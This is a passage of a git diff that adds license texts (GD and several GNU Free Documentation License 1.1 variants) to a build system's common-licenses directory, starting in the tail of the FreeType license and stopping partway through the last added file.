---------------
-
- Neither the FreeType authors and contributors nor you shall use
- the name of the other for commercial, advertising, or promotional
- purposes without specific prior written permission.
-
- We suggest, but do not require, that you use one or more of the
- following phrases to refer to this software in your documentation
- or advertising materials: `FreeType Project', `FreeType Engine',
- `FreeType library', or `FreeType Distribution'.
-
- As you have not signed this license, you are not required to
- accept it. However, as the FreeType Project is copyrighted
- material, only this license, or another one contracted with the
- authors, grants you the right to use, distribute, and modify it.
- Therefore, by using, distributing, or modifying the FreeType
- Project, you indicate that you understand and accept all the terms
- of this license.
-
-4. Contacts
------------
-
- There are two mailing lists related to FreeType:
-
- o freetype@nongnu.org
-
- Discusses general use and applications of FreeType, as well as
- future and wanted additions to the library and distribution.
- If you are looking for support, start in this list if you
- haven't found anything to help you in the documentation.
-
- o freetype-devel@nongnu.org
-
- Discusses bugs, as well as engine internals, design issues,
- specific licenses, porting, etc.
-
- Our home page can be found at
-
- https://www.freetype.org
-
-
---- end of FTL.TXT ---
-
diff --git a/meta/files/common-licenses/GD b/meta/files/common-licenses/GD
new file mode 100644
index 0000000000..534b5978c7
--- /dev/null
+++ b/meta/files/common-licenses/GD
@@ -0,0 +1,24 @@
+Credits and license terms
+
+In order to resolve any possible confusion regarding the authorship of gd, the following copyright statement covers all of the authors who have required such a statement.  If you are aware of any oversights in this copyright notice, please contact Pierre-A.  Joye who will be pleased to correct them.
+
+ • Portions copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 by Cold Spring Harbor Laboratory.  Funded under Grant P41-RR02188 by the National Institutes of Health.
+ • Portions copyright 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 by Boutell.Com, Inc.
+ • Portions relating to GD2 format copyright 1999, 2000, 2001, 2002, 2003, 2004 Philip Warner.
+ • Portions relating to PNG copyright 1999, 2000, 2001, 2002, 2003, 2004 Greg Roelofs.
+ • Portions relating to gdttf.c copyright 1999, 2000, 2001, 2002, 2003, 2004 John Ellson (ellson@graphviz.org).
+ • Portions relating to gdft.c copyright 2001, 2002, 2003, 2004 John Ellson (ellson@graphviz.org).
+ • Portions copyright 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007 Pierre-Alain Joye (pierre@libgd.org).
+ • Portions relating to JPEG and to color quantization copyright 2000, 2001, 2002, 2003, 2004, Doug Becker and copyright © 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 Thomas G.  Lane.  This software is based in part on the work of the Independent JPEG Group.  See the file README-JPEG.TXT for more information.
+ • Portions relating to GIF compression copyright 1989 by Jef Poskanzer and David Rowley, with modifications for thread safety by Thomas Boutell.
+ • Portions relating to GIF decompression copyright 1990, 1991, 1993 by David Koblas, with modifications for thread safety by Thomas Boutell.
+ • Portions relating to WBMP copyright 2000, 2001, 2002, 2003, 2004 Maurice Szmurlo and Johan Van den Brande.
+ • Portions relating to GIF animations copyright 2004 Jaakko Hyvätti (jaakko.hyvatti@iki.fi)
+
+Permission has been granted to copy, distribute and modify gd in any context without fee, including a commercial application, provided that this notice is present in user-accessible supporting documentation.
+
+This does not affect your ownership of the derived work itself, and the intent is to assure proper credit for the authors of gd, not to interfere with your productive use of gd.  If you have questions, ask.  “Derived works” includes all programs that utilize the library.  Credit must be given in user-accessible documentation.
+
+This software is provided “AS IS.”  The copyright holders disclaim all warranties, either express or implied, including but not limited to implied warranties of merchantability and fitness for a particular purpose, with respect to this code and accompanying documentation.
+
+Although their code does not appear in the current release, the authors wish to thank David Koblas, David Rowley, and Hutchison Avenue Software Corporation for their prior contributions.
diff --git a/meta/files/common-licenses/GFDL-1.1-invariants-only b/meta/files/common-licenses/GFDL-1.1-invariants-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-invariants-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-invariants-or-later b/meta/files/common-licenses/GFDL-1.1-invariants-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-invariants-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-no-invariants-only b/meta/files/common-licenses/GFDL-1.1-no-invariants-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-no-invariants-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
